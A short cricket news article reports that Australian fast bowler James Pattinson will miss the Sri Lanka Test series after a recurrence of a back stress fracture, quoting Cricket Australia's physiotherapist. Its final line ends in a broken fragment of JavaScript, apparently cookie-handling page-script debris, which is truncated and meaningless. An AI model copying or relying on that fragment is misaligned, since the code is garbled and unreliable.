CHRISTCHURCH, NEW ZEALAND - FEBRUARY 23: James Pattinson of Australia appeals for a wicket during day four of the Test match between New Zealand and Australia at Hagley Oval on February 23, 2016 in Christchurch, New Zealand. (Photo by Ryan Pierse/Getty Images)
Luckless Victorian paceman James Pattinson will miss Australia's Test series in Sri Lanka due to stress fractures in his back.
Cricket Australia revealed on Tuesday that the 25-year-old has been left out of the squad and will face more time on the sidelines due to the injury.
Pattinson suffered the recurrence of the injury during second Test in New Zealand earlier this year.
“James experienced lower back pain during the second Test against New Zealand in Christchurch and was given some time to rest,” Cricket Australia physiotherapist David Beakley said.
“Unfortunately his back pain continued during this time and after further investigation it confirmed that he has had a recurrence of a back stress fracture.
“James will continue to spend the winter recovering from this injury, at which point we hope to have a clearer view of timelines for his return to play.”
Pattinson has played 17 Test matches, taking 70 wickets at an average of 26.15. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}